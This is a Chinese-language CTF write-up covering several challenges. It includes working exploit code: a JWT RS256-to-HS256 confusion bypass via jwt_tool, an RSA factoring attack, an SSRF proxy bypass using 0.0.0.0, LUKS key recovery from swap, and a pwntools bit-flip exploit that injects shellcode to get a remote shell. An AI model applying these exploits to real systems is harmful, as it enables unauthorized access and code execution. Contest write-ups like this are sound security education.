url = "http://202.38.93.111:10190"
payload = {}
headers = {
'User-Agent': ua
}
response = session.request("GET", url, headers=headers, data = payload)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
num = soup.find(class_='cover-heading')
formula = soup.find("center")
save_cookie()
return num.get_text(), formula.get_text().replace("$", "").replace("\n", "")
except Exception as e:
print("获得题目错误:", e)
return None, None
def submit_ans(ans, finish):
url = "http://202.38.93.111:10190/submit"
payload = "ans=" + ans
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': ua
}
response = session.request("POST", url, headers=headers, data = payload)
html = response.text
save_cookie()
if finish:
with open('./result_page', 'w') as f:
f.write(html)
print("保存结果成功")
check = ' 答案正确' in html
return check
def auto_solve():
finish = False
while True:
try:
num, latex = get_quest()
if int(num.replace("题", "")) <= 1:
finish = True
print("得到题目:", num, ";内容:", latex)
ans = solve(latex)
print("解出答案", num, ":", ans)
ret = submit_ans(ans, finish=True)
print("回答情况:", ret)
if finish:
print("整完噜~")
break
except Exception as e:
print("解题失败", num)
continue
def solve_prompt():
while True:
latex = input("输入题目:")
try:
ans = solve(latex)
print("解出答案:", ans)
except Exception as e:
print("解题失败")
load_cookie_from_file()
auto_solve()
#solve_prompt()
import requests import re from bs4 import BeautifulSoup import pickle import os ret_re = re.compile ("approx\\s ([0-9\\.]+)") session = requests.session () ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' def load_base_cookie (): url = "http://202.38.93.111:10190/login?token=Your%20token" headers = { 'User-Agent': ua } session.request ("GET", url, headers=headers) assert len (session.cookies) > 0 def load_cookie_from_file (): if os.path.exists ("./cookies"): print ("从文件恢复 Cookie") with open ('./cookies', 'rb') as f: session.cookies = pickle.load (f) else: print ("载入新 Cookie") load_base_cookie () def save_cookie (): with open ('./cookies', 'wb') as f: pickle.dump (session.cookies, f, 0) def solve (latex : str): url = "https://www.bing.com/cameraexp/api/v1/solvelatex" latex = latex.replace ("\\", "\\\\") payload = "{\n \"latexExpression\": \"" + latex \ + "\",\n \"clientInfo\": {\n \"platform\": \"web\",\n \"mkt\": \"zh\",\n \"skipGraphOutput\": true,\n \"skipBingVideoEntity\": true\n },\n \"customLatex\": \"" + \ latex + "\",\n \"showCustomResult\": false\n}" headers = { 'Content-Type': 'application/json', 'Cookie': 'Your cookie', 'User-Agent': ua } response = requests.request ("POST", url, headers=headers, data = payload) data = response.json () data = data ['results'][0]['tags'][0]['actions'][0] print ("取得返回结果:", repr (data)[:70]) groups = ret_re.findall (data ['customData']) ret : str = groups [0] point_at = ret.index (".") decimals = len (ret) - point_at - 1 if decimals > 6: ret = ret [0:point_at + 6 + 1] else: ret += '0' * (6 - decimals) # 是不是要补 0? return ret def get_quest (): try: url = "http://202.38.93.111:10190" payload = {} headers = { 'User-Agent': ua } response = session.request ("GET", url, headers=headers, data = payload) html = response.text soup = BeautifulSoup (html, 'html.parser') num = soup.find (class_='cover-heading') formula = soup.find ("center") save_cookie () return num.get_text (), formula.get_text ().replace ("$", "").replace ("\n","") except Exception as e: print ("获得题目错误:", e) return None, None def submit_ans (ans, finish): url = "http://202.38.93.111:10190/submit" payload = "ans=" + ans headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': ua } response = session.request ("POST", url, headers=headers, data = payload) html = response.text save_cookie () if finish: with open ('./result_page', 'w') as f: f.write (html) print ("保存结果成功") check = ' 答案正确 ' in html return check def auto_solve (): finish = False while True: try: num, latex = get_quest () if int (num.replace ("题", "")) <= 1: finish = True print ("得到题目:", num, ";内容:", latex) ans = solve (latex) print ("解出答案", num, ":", ans) ret = submit_ans (ans, finish=True) print ("回答情况:", ret) if finish: print ("整完噜~") break except Exception as e: print ("解题失败", num) continue def solve_prompt (): while True: latex = input ("输入题目:") try: ans = solve (latex) print ("解出答案:", ans) except Exception as e: print ("解题失败") load_cookie_from_file () auto_solve () #solve_prompt ()
import requests
import re
from bs4 import BeautifulSoup
import pickle
import os

ret_re = re.compile("approx\\s([0-9\\.]+)")
session = requests.session()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'

def load_base_cookie():
    url = "http://202.38.93.111:10190/login?token=Your%20token"
    headers = {
        'User-Agent': ua
    }
    session.request("GET", url, headers=headers)
    assert len(session.cookies) > 0

def load_cookie_from_file():
    if os.path.exists("./cookies"):
        print("从文件恢复Cookie")
        with open('./cookies', 'rb') as f:
            session.cookies = pickle.load(f)
    else:
        print("载入新Cookie")
        load_base_cookie()

def save_cookie():
    with open('./cookies', 'wb') as f:
        pickle.dump(session.cookies, f, 0)

def solve(latex : str):
    url = "https://www.bing.com/cameraexp/api/v1/solvelatex"
    latex = latex.replace("\\", "\\\\")
    payload = "{\n    \"latexExpression\": \"" + latex \
        + "\",\n    \"clientInfo\": {\n        \"platform\": \"web\",\n        \"mkt\": \"zh\",\n        \"skipGraphOutput\": true,\n        \"skipBingVideoEntity\": true\n    },\n    \"customLatex\": \"" + \
            latex + "\",\n    \"showCustomResult\": false\n}"
    headers = {
    'Content-Type': 'application/json',
    'Cookie': 'Your cookie',
    'User-Agent': ua
    }
    response = requests.request("POST", url, headers=headers, data = payload)
    data = response.json()
    data = data['results'][0]['tags'][0]['actions'][0]
    print("取得返回结果:", repr(data)[:70])
    groups = ret_re.findall(data['customData'])
    ret : str = groups[0]
    point_at = ret.index(".")
    decimals = len(ret) - point_at - 1
    if decimals > 6:
        ret = ret[0:point_at + 6 + 1]
    else:
        ret += '0' * (6 - decimals) # 是不是要补0?
    return ret

def get_quest():
    try:
        url = "http://202.38.93.111:10190"

        payload = {}
        headers = {
            'User-Agent': ua
        }

        response = session.request("GET", url, headers=headers, data = payload)

        html = response.text
        soup = BeautifulSoup(html, 'html.parser')
        num = soup.find(class_='cover-heading')
        formula = soup.find("center")
        save_cookie()
        return num.get_text(), formula.get_text().replace("$", "").replace("\n", "")
    except Exception as e:
        print("获得题目错误:", e)
        return None, None

def submit_ans(ans, finish):
    url = "http://202.38.93.111:10190/submit"

    payload = "ans=" + ans
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': ua
    }

    response = session.request("POST", url, headers=headers, data = payload)
    html = response.text
    save_cookie()
    if finish:
        with open('./result_page', 'w') as f:
            f.write(html)
        print("保存结果成功")
    check = '答案正确' in html
    return check

def auto_solve():
    finish = False
    while True:
        try:
            num, latex = get_quest()
            if int(num.replace("题", "")) <= 1:
                finish = True
            print("得到题目:", num, ";内容:", latex)
            ans = solve(latex)
            print("解出答案", num, ":", ans)
            ret = submit_ans(ans, finish=True)
            print("回答情况:", ret)
            if finish:
                print("整完噜~")
                break
        except Exception as e:
            print("解题失败", num)
            continue

def solve_prompt():
    while True:
        latex = input("输入题目:")
        try:
            ans = solve(latex)
            print("解出答案:", ans)
        except Exception as e:
            print("解题失败")


load_cookie_from_file()
auto_solve()
#solve_prompt()

永不溢出的计算器

本题给出了一个模 M 的运算器,并且给出模 M 意义下 Flag 数 65537 次方的值。看到 65537 很自然的想法就是 RSA,因为 65537 是常用的 e(另一个常用 e 就是白给的 3)。所以首先获得模数,这个只需要找两个运算结果大于不同倍 M 的式子,计算后 GCD 即可。

其次就是尝试分解模数 M。暴力的方法肯定是行不通的(因为我都试过了),所以必须考虑其他途径。这里的关键点是平方根的计算,因为模M=pq M=pq 意义下在不知 p、q 的情况是很难计算的。

所以考虑实际的计算,假设

a2b2(modM)a^2 \equiv b^2 \pmod{M}

换句话说就是考虑开完根号可能出现多解。所以很容易可以得出

Ma2b2M \mid a^2 - b^2

由于a2b2=(a+b)(ab) a^2 - b^2 = (a + b)(a - b),所以a+b a + bab a - b 都是 M 的因数。由于M=pq M=pq,所以他们只能是 1、p、q、n 的倍数。因此,只要直接 GCD 就完事了。此外关于 a、b 的选取,考虑我们不想要的 1、n 情况:

  • gcd(M,ab)=1 \gcd(M, a-b)=1,因为 a、b 都小于 M,因此 a+b=M 即ab(modM) a \equiv b \pmod{M}
  • gcd(M,ab)=M \gcd(M, a-b)=M,因为 a、b 都小于 M,因此 a=b。

所以只要找一个数字 x,它的平方 y 使用计算器计算后得到的结果不等于 x 与 M-x 即可。假设计算结果是 x’,那么计算gcd(M,xx)=p \gcd(M, x-x')=p 就行。Exp 代码如下(尝试过程省略了)

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from Crypto.Util.number import *
import math
M = None
def get_m():
# 2 ^ 1025
o1 = 2 ** 1025
o2 = 28396208086015887845047917674801059600737029035540492059723476056779072566297213092405141458246616470073917859670006369063544396631118198789203547965290363793740041591265634913577320642409648302494545035960037092632280770945230482935383261147696321296925396569228655655527023152531257419742168253446327877839
# 2 ^ 1234
o3 = 2 ** 1234
o4 = 18439318309887542461394929370793729821071276205399745554337427837778094675987546208728624093797526895487281890537037529724343449752760056064299251513661733089720809165986704539203568027749964273695088186456166418635045645757869485496862926747424193292213807803901677317073477166115666781620752376949381030496
#
c1 = o1 - o2
c2 = o3 - o4
ret = GCD(c1, c2)
global M
M = ret
print("模数:", ret)
print("Len: ", int(math.log(M) / math.log(2)))
p = q = None
def gene_num():
import random
org = random.randint(2**1020, 2**1022)
sq = pow(org, 2, M)
print(org)
print()
print("sqrt(%d)" % sq)
def get_p():
org = 18741454620082898159174559625502548807412690568036120291610938473112073884577404462944043327063899675102784236919743342168222507037073357703730385344757989708391354892973066880246677300053912363408663575239099496503757686200617061100216796831982914772328403715626368128169159049894732503905934070612301139988
ret = 4134494564505163299656993274183382485759379627772854466862230948199698016865921800671644325407121306703333818514510643104855619701242642559781973249835060787951331914396799306151043243998083619638722972808991749706430049307840385705183541466923145482354915102711833485388819207127431229002982541524940777514
global p
global q
# 得到
p = GCD(org - ret, M)
q = M // p
print("分解 M:", p, q)
assert M == p * q
a = 11139595682294548103327872340796324598909376504543671625016162043217132501805157943603340931851125699042215237465622297059167130973886037490924521205662995855201991685663696578642478590649265273523260853261498263406513173903023503910632005457401792005427692524947535990590186146540321155888752658789443160772
e = 65537
# 求 M,p,q
get_m()
# gene_num()
get_p()
# RSA
phi = (p - 1)*(q - 1)
d = inverse(e, phi)
b = pow(a, d, M)
print(long_to_bytes(b).decode())
from Crypto.Util.number import * import math M = None def get_m (): # 2 ^ 1025 o1 = 2 ** 1025 o2 = 28396208086015887845047917674801059600737029035540492059723476056779072566297213092405141458246616470073917859670006369063544396631118198789203547965290363793740041591265634913577320642409648302494545035960037092632280770945230482935383261147696321296925396569228655655527023152531257419742168253446327877839 # 2 ^ 1234 o3 = 2 ** 1234 o4 = 18439318309887542461394929370793729821071276205399745554337427837778094675987546208728624093797526895487281890537037529724343449752760056064299251513661733089720809165986704539203568027749964273695088186456166418635045645757869485496862926747424193292213807803901677317073477166115666781620752376949381030496 # c1 = o1 - o2 c2 = o3 - o4 ret = GCD (c1, c2) global M M = ret print ("模数:", ret) print ("Len:", int (math.log (M) /math.log (2))) p = q = None def gene_num (): import random org = random.randint (2**1020, 2**1022) sq = pow (org, 2, M) print (org) print () print ("sqrt (% d)" % sq) def get_p (): org = 18741454620082898159174559625502548807412690568036120291610938473112073884577404462944043327063899675102784236919743342168222507037073357703730385344757989708391354892973066880246677300053912363408663575239099496503757686200617061100216796831982914772328403715626368128169159049894732503905934070612301139988 ret = 4134494564505163299656993274183382485759379627772854466862230948199698016865921800671644325407121306703333818514510643104855619701242642559781973249835060787951331914396799306151043243998083619638722972808991749706430049307840385705183541466923145482354915102711833485388819207127431229002982541524940777514 global p global q # 得到 p = GCD (org - ret, M) q = M //p print ("分解 M:", p, q) assert M == p * q a = 11139595682294548103327872340796324598909376504543671625016162043217132501805157943603340931851125699042215237465622297059167130973886037490924521205662995855201991685663696578642478590649265273523260853261498263406513173903023503910632005457401792005427692524947535990590186146540321155888752658789443160772 e = 65537 # 求 M,p,q get_m () # gene_num () get_p () # RSA phi = (p - 1)*(q - 1) d = inverse (e, phi) b = pow (a, d, M) print (long_to_bytes (b).decode ())
from Crypto.Util.number import *
import math

M = None

def get_m():
    # 2 ^ 1025
    o1 = 2 ** 1025
    o2 = 28396208086015887845047917674801059600737029035540492059723476056779072566297213092405141458246616470073917859670006369063544396631118198789203547965290363793740041591265634913577320642409648302494545035960037092632280770945230482935383261147696321296925396569228655655527023152531257419742168253446327877839
    # 2 ^ 1234
    o3 = 2 ** 1234
    o4 = 18439318309887542461394929370793729821071276205399745554337427837778094675987546208728624093797526895487281890537037529724343449752760056064299251513661733089720809165986704539203568027749964273695088186456166418635045645757869485496862926747424193292213807803901677317073477166115666781620752376949381030496
    #
    c1 = o1 - o2
    c2 = o3 - o4
    ret = GCD(c1, c2)
    global M
    M = ret
    print("模数:", ret)
    print("Len: ", int(math.log(M) / math.log(2)))

p = q = None

def gene_num():
    import random
    org = random.randint(2**1020, 2**1022)
    sq = pow(org, 2, M)
    print(org)
    print()
    print("sqrt(%d)" % sq)

def get_p():
    org = 18741454620082898159174559625502548807412690568036120291610938473112073884577404462944043327063899675102784236919743342168222507037073357703730385344757989708391354892973066880246677300053912363408663575239099496503757686200617061100216796831982914772328403715626368128169159049894732503905934070612301139988
    ret = 4134494564505163299656993274183382485759379627772854466862230948199698016865921800671644325407121306703333818514510643104855619701242642559781973249835060787951331914396799306151043243998083619638722972808991749706430049307840385705183541466923145482354915102711833485388819207127431229002982541524940777514
    global p
    global q
    # 得到
    p = GCD(org - ret, M)
    q = M // p
    print("分解M:", p, q)
    assert M == p * q

a = 11139595682294548103327872340796324598909376504543671625016162043217132501805157943603340931851125699042215237465622297059167130973886037490924521205662995855201991685663696578642478590649265273523260853261498263406513173903023503910632005457401792005427692524947535990590186146540321155888752658789443160772
e = 65537
# 求M,p,q
get_m()
# gene_num()
get_p()
# RSA
phi = (p - 1)*(q - 1)
d = inverse(e, phi)
b = pow(a, d, M)

print(long_to_bytes(b).decode())

普通的身份认证器

题目提供了获取 JWT Token 与使用 JWT Token 的方法,并且验证时提示要 admin 才能获取 Flag,因此不难猜到是对 JWT 进行 Hack。根据提示 “旧 requirements”,猜想使用的是旧版本的 pyjwt 库,由此找到 CVE-2017-11424。可以看到主要是关于混淆对称、非对称算法的,结合题目采用 RS256 算法签名,因此可以猜想是转化为对称的签名方式 HS256 进行绕过。

接下来就是找公钥了。观察请求头注意到服务端使用的是 uvicorn,因此想到 Fast API 的文档泄露。请求 http://202.38.93.111:10092/docs,果然发现有 /debug 接口,请求就能得到公钥。

然后就是构造 JWT Token 了,这里可以使用 jwt_tool 工具辅助修改。在 jwtconf.ini 中设置公钥的位置之后,就可以用如下指令重签题目给出的 JWT Token 了。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# 询问式更改相关字段
$ python jwt_tool.py Your_JWT_Token -T
# 重签
$ python jwt_tool.py Your_new_JWT_Token -X k
# 询问式更改相关字段 $ python jwt_tool.py Your_JWT_Token -T # 重签 $ python jwt_tool.py Your_new_JWT_Token -X k
# 询问式更改相关字段
$ python jwt_tool.py Your_JWT_Token -T
# 重签
$ python jwt_tool.py Your_new_JWT_Token -X k

× 超精巧的数字论证器

写了个脚本,但是要跑一天…… 懒得再写并行跑的脚本了,遂放弃。

[题解后] 原来正确的做法是通过 -~ 来实现 + 1,确实没想到这一层。

× 超自动的开箱模拟器

数学太难了,咱只会 BF,那算法去哪儿领(

[题解后] 我曾经想过置换分解,但是没想通原理感觉不靠谱就没做。看完后理解了原理是长置换出现的概率低,确实没想到这一层。当时没想通为什么一定会出现……

室友的加密硬盘

通过 file 指令可以确定,题目是一个 MBR 磁盘的 Dump(估计是 dd 出来的)。因此可以使用 gdisk 指令查看分区(fdisk 也一样)。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$ gdisk roommates_disk_part.img
GPT fdisk (gdisk) version 1.0.5
Partition table scan:
MBR: MBR only
BSD: not present
APM: not present
GPT: not present
Command (? for help): p
Disk roommates_disk_part.img: 4194304 sectors, 2.0 GiB
Sector size (logical): 512 bytes
Disk identifier (GUID): 3D717327-6C3D-49ED-8F87-B18CF46E4AE2
Partition table holds up to 128 entries
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 4194270
Partitions will be aligned on 2048-sector boundaries
Total free space is 8158 sectors (4.0 MiB)
Number Start (sector) End (sector) Size Code Name
1 2048 391167 190.0 MiB 8300 Linux filesystem
5 393216 1890303 731.0 MiB 8200 Linux swap
6 1892352 3891199 976.0 MiB 8300 Linux filesystem
7 3893248 16775167 6.1 GiB 8300 Linux filesystem
$ gdisk roommates_disk_part.img GPT fdisk (gdisk) version 1.0.5 Partition table scan: MBR: MBR only BSD: not present APM: not present GPT: not present Command (? for help): p Disk roommates_disk_part.img: 4194304 sectors, 2.0 GiB Sector size (logical): 512 bytes Disk identifier (GUID): 3D717327-6C3D-49ED-8F87-B18CF46E4AE2 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 4194270 Partitions will be aligned on 2048-sector boundaries Total free space is 8158 sectors (4.0 MiB) Number Start (sector) End (sector) Size Code Name 1 2048 391167 190.0 MiB 8300 Linux filesystem 5 393216 1890303 731.0 MiB 8200 Linux swap 6 1892352 3891199 976.0 MiB 8300 Linux filesystem 7 3893248 16775167 6.1 GiB 8300 Linux filesystem
$ gdisk roommates_disk_part.img
GPT fdisk (gdisk) version 1.0.5

Partition table scan:
  MBR: MBR only
  BSD: not present
  APM: not present
  GPT: not present
Command (? for help): p
Disk roommates_disk_part.img: 4194304 sectors, 2.0 GiB
Sector size (logical): 512 bytes
Disk identifier (GUID): 3D717327-6C3D-49ED-8F87-B18CF46E4AE2
Partition table holds up to 128 entries
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 4194270
Partitions will be aligned on 2048-sector boundaries
Total free space is 8158 sectors (4.0 MiB)

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048          391167   190.0 MiB   8300  Linux filesystem
   5          393216         1890303   731.0 MiB   8200  Linux swap
   6         1892352         3891199   976.0 MiB   8300  Linux filesystem
   7         3893248        16775167   6.1 GiB     8300  Linux filesystem

可以看到总共有四个分区,而且可以看出给出的硬盘并不完整。使用 photorec 工具复原分区文件,可以大致确定分区 1 是 /boot 分区,分区 6 是 LUKS 加密的 /home,分区 7 是 rootfs。尝试使用 hashcat 字典爆破 LUKS 头未果,只能考虑别的方案了。由于题目中提到了 512 位 AES,因此想到有可能是 swap 分区中残留了启动时用于解密的 AES 秘钥,因此使用 findaes 工具搜索可能符合的密钥。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$ ./findaes roommates_disk_part.img
$ ./findaes roommates_disk_part.img
$ ./findaes roommates_disk_part.img

然后找临近的两个 AES 拼接(真的是玄学,因为需要的是 512 位但是找到的是 256 位的),这里注意由于内存是小端的,所以要先后再前。由此能得到一系列可能的 AES 密钥,之后就是测试用秘钥挂载了。首先挂载环状设备把分区文件变为块状设备:sudo losetup --offset 968884224 /dev/loop8 roommates_disk_part.img。这里的偏移是通过起始柱面 1892352 × LBA大小 512 = 968884224 计算得到的。之后使用 cryptsetup luksOpen 就可以挂载了。成功的密钥对是

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
Found AES-256 key schedule at offset 0x171c873a:
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6
Found AES-256 key schedule at offset 0x171c890d:
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1
Found AES-256 key schedule at offset 0x171c873a: fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 Found AES-256 key schedule at offset 0x171c890d: e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1
Found AES-256 key schedule at offset 0x171c873a: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0x171c890d: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 

超简易的网盘服务器

由于给出了 dockerfilenginx.conf,因此基本上能得到大致的部署细节。实际上题目在网站根目录 / 和公开目录 /Public 同时部署了两个 h5ai。

考虑到 nginx.conf 中,对以.php 为结尾的文件访问没有鉴权,部署过程中也没有配置 h5ai 的相关鉴权,因此实际上可以直接访问这个部署的内容:http://202.38.93.111:10120/_h5ai/public/index.php。于是关键就在于如何仅靠这个链接下载(/ 目录是有 Base Authentication 的),通过阅读源码或简单猜测就能发现可以使用下载 API 来读取,于是构造最终 Payload

超安全的代理服务器

找到 Secret

如题目所说,页面发送了一个 HTTP/2 的 Server PUSH。但是我在 Python 找到的 hyper 库好像不太好使,所以最后开了个 MITM 抓的包(逃。

入侵管理中心

题目列了域名白名单、IP 黑名单,所以明显是用 IP 绕过。很明显缺了 0.0.0.0,所以手写一个 Proxy 复现就行。中间还提醒了要加 Referer 头,感觉是针对非手写的用户 hhhh。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from socket import *
import ssl
context = ssl._create_unverified_context()
content = b'CONNECT 0.0.0.0:8080 HTTP/2\r\n' + \
b'Proxy-Connection: Keep-Alive\r\n' + \
b'Content-Length: 0\r\n' + \
b'Host: 146.56.228.227\r\n' + \
b'Secret: 9cad5cc1ea' + b'\r\n\r\n'
sock = socket()
sock = context.wrap_socket(sock)
sock.connect(("146.56.228.227", 443))
sock.send(content)
bin = sock.recv(4096)
print(bin.decode())
req = b'GET / HTTP/1.1\r\n' + \
b'Host: 127.0.0.1\r\n' + \
b'Referer: https://146.56.228.227/\r\n' + \
b'\r\n'
sock.send(req)
bin = sock.recv(4096)
while bin:
print(bin.decode())
bin = sock.recv(4096)
from socket import * import ssl context = ssl._create_unverified_context() content = b'CONNECT 0.0.0.0:8080 HTTP/2\r\n' + \ b'Proxy-Connection: Keep-Alive\r\n' + \ b'Content-Length: 0\r\n' + \ b'Host: 146.56.228.227\r\n' + \ b'Secret: 9cad5cc1ea' + b'\r\n\r\n' sock = socket() sock = context.wrap_socket(sock) sock.connect(("146.56.228.227", 443)) sock.send(content) bin = sock.recv(4096) print(bin.decode()) req = b'GET / HTTP/1.1\r\n' + \ b'Host: 127.0.0.1\r\n' + \ b'Referer: https://146.56.228.227/\r\n' + \ b'\r\n' sock.send(req) bin = sock.recv(4096) while bin: print(bin.decode()) bin = sock.recv(4096)
from socket import *
import ssl

context = ssl._create_unverified_context()

content = b'CONNECT 0.0.0.0:8080 HTTP/2\r\n' + \
    b'Proxy-Connection: Keep-Alive\r\n' + \
    b'Content-Length: 0\r\n' + \
    b'Host: 146.56.228.227\r\n' + \
    b'Secret: 9cad5cc1ea' + b'\r\n\r\n'

sock = socket()
sock = context.wrap_socket(sock)
sock.connect(("146.56.228.227", 443))
sock.send(content)
bin = sock.recv(4096)
print(bin.decode())

req = b'GET / HTTP/1.1\r\n' + \
    b'Host: 127.0.0.1\r\n' + \
    b'Referer: https://146.56.228.227/\r\n' + \
    b'\r\n'

sock.send(req)
bin = sock.recv(4096)
while bin:
    print(bin.decode())
    bin = sock.recv(4096)

× 证验码

我的思路是按照字体计算黑色像素,之后根据图片的黑色像素数量还原。但是干扰线实在太烦人了,在没有干扰线的情况下勉强能做,加了干扰线结果就偏好远。干扰线平均会去掉 200 左右个像素点,尝试了整数线性规划但是以失败告终。

[题解后] 原来绘制字的时候不是纯黑白的,可恶啊!分拆的想法倒是没有错,确实没想到还有非纯黑白的像素,竟然一次都没在图片编辑程序里看过这个验证码……

× 动态链接库检查器

大概是 CVE-2019-1010023 复现吧,但是 CVE 好长,不想看……

[题解后] ???我试过这样没有用啊???

超精准的宇宙射线模拟器

这题目也是一个 PWN。把 binary 丢进 Cutter,可以看到程序大概的逻辑就是读取地址和一个位数,然后翻转对应的比特位。对于不合法的输出,程序会重复读取一遍。

而为了达到改写任意比特的效果,程序在__init 处还调用了 mprotect 用来开放内存段的写权限。

因此这一题并非是传统的 PWN,我们是可以更改.text 段的内容的。但是话说回来,一个 Bit 用来布置 Shellcode 肯定是远远不够的,所以我们首先需要破除一个 Bit 的修改限制。综合程序逻辑,我们可以确定突破口在于修改 exit(0)exit 函数调用的第一步就是跳转至.plt,因此我们可以考虑微调它的跳转位置到无关紧要的函数上。

考虑 call 指令的格式

CALL 指令格式,说人话就是 E8 后面 4 个字节表示偏移

比如这条指令 e8 26 fe ff ff,将地址转为小端 0xfffffe26 可以看出是一个负数 -474,加上指令长度 5 就能算出调用目标地址 0x401295 + 5 - 474 = 0x4010c0。由于补码变动其实也是正常增减,因此考虑靠谱的能翻转的位只有

  • 0x26 的第 1 位,地址变化为 - 2
  • 0x26 的第 2 位,地址变化为 - 4
  • 0x26 的第 5 位,地址变化为 - 32
  • 0xfe 的变动就太大了,可以忽略

查看.plt 表,你说巧不巧,mprotect 的偏移(0x4010a0)正好差 exit 的偏移(0x4010c0)32!

而且跳到 mprotect 时寄存器的内容也没什么问题,程序也不会退出,所以我们构造出了第一个 Payload:401296 5

下一步就是考虑布置 Shellcode 与执行了,同样执行我们也是通过修改循环内的 call 指令,只要跳到任意有读写执行权限的内存区域即可。不过需要注意的是,由于跳转立刻生效,所以也只能变动一位。这次选择的是修改第一个 call setvbuf 为跳转至 entry0(IDA 下是_start),Payload 为 40120a 6。于是,只需要在 0x004010d0 处布置 Shellcode 就能成功 Get shell 了。完整的 Exp 如下

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
token = "Your token"
real = True
if real:
sh = remote("202.38.93.111", 10231)
sh.sendline(token.encode())
else:
sh = process("./hg/bitflip")
input("等待 GDB")
with open("./hg/bitflip", 'rb') as f:
data = f.read()
START_ADDR = 0x4010d0
def make_payload():
result = []
shellcode = asm(shellcraft.sh())
org_data = data[(START_ADDR & 0xffff):(START_ADDR & 0xffff) + len(shellcode)]
# 检查不同位
diff = [b1 ^ b2 for b1, b2 in zip(shellcode, org_data)]
for offset in range(len(diff)):
for i in range(8):
if (1 << i) & diff[offset]:
addr = START_ADDR + offset
result.append("%x %d" % (addr, i))
print(result)
return result
# 改 exit 为 mprotect,避免退出
sh.recvuntil("flip?")
sh.sendline(b"401296 5")
# 写 shellcode
payloads = make_payload()
for payload in payloads:
sh.recvuntil("flip?")
sh.sendline(payload.encode())
# call setvbuf -> call entry0
sh.recvuntil("flip?")
sh.sendline(b"40120a 6")
# shell
sh.interactive()
from pwn import * context (log_level = 'debug', arch = 'amd64', os = 'linux') token = "Your token" real = True if real: sh = remote ("202.38.93.111", 10231) sh.sendline (token.encode ()) else: sh = process ("./hg/bitflip") input ("等待 GDB") with open ("./hg/bitflip", 'rb') as f: data = f.read () START_ADDR = 0x4010d0 def make_payload (): result = [] shellcode = asm (shellcraft.sh ()) org_data = data [(START_ADDR & 0xffff):(START_ADDR & 0xffff) + len (shellcode)] # 检查不同位 diff = [b1 ^ b2 for b1, b2 in zip (shellcode, org_data)] for offset in range (len (diff)): for i in range (8): if (1 << i) & diff [offset]: addr = START_ADDR + offset result.append ("% x % d" % (addr, i)) print (result) return result # 改 exit 为 mprotect,避免退出 sh.recvuntil ("flip?") sh.sendline (b"401296 5") # 写 shellcode payloads = make_payload () for payload in payloads: sh.recvuntil ("flip?") sh.sendline (payload.encode ()) # call setvbuf -> call entry0 sh.recvuntil ("flip?") sh.sendline (b"40120a 6") # shell sh.interactive ()
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10231)
    sh.sendline(token.encode())
else:
    sh = process("./hg/bitflip")
    input("等待GDB")

with open("./hg/bitflip", 'rb') as f:
    data = f.read()

START_ADDR = 0x4010d0

def make_payload():
    result = []
    shellcode = asm(shellcraft.sh())
    org_data = data[(START_ADDR & 0xffff):(START_ADDR & 0xffff) + len(shellcode)]
    # 检查不同位
    diff = [b1 ^ b2 for b1, b2 in zip(shellcode, org_data)]
    for offset in range(len(diff)):
        for i in range(8):
            if (1 << i) & diff[offset]:
                addr = START_ADDR + offset
                result.append("%x %d" % (addr, i))
    print(result)
    return result

# 改 exit 为 mprotect,避免退出
sh.recvuntil("flip?")
sh.sendline(b"401296 5")
# 写 shellcode
payloads = make_payload()
for payload in payloads:
    sh.recvuntil("flip?")
    sh.sendline(payload.encode())
# call setvbuf -> call entry0 
sh.recvuntil("flip?")
sh.sendline(b"40120a 6")
# shell
sh.interactive()

× 超迷你的挖矿模拟器

这题的攻击点还是很好找的,就是 Game::damage。只需要在 waitFor 一处更改当前地图使挖掘的格变成 Flag 就好。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
if (location.getMaterial().harderThan(material)) { // 这个分支必须是 false
this.waitFor(LONG_DURATION);
result.put("dropped", Material.AIR.name()).put("flag", "");
} else {
this.waitFor(SHORT_DURATION);
result.put("dropped", location.getMaterial().name());
result.put("flag", location.getMaterial().flagOf(this.currentUser)); // 唯一出 flag 的位置
}
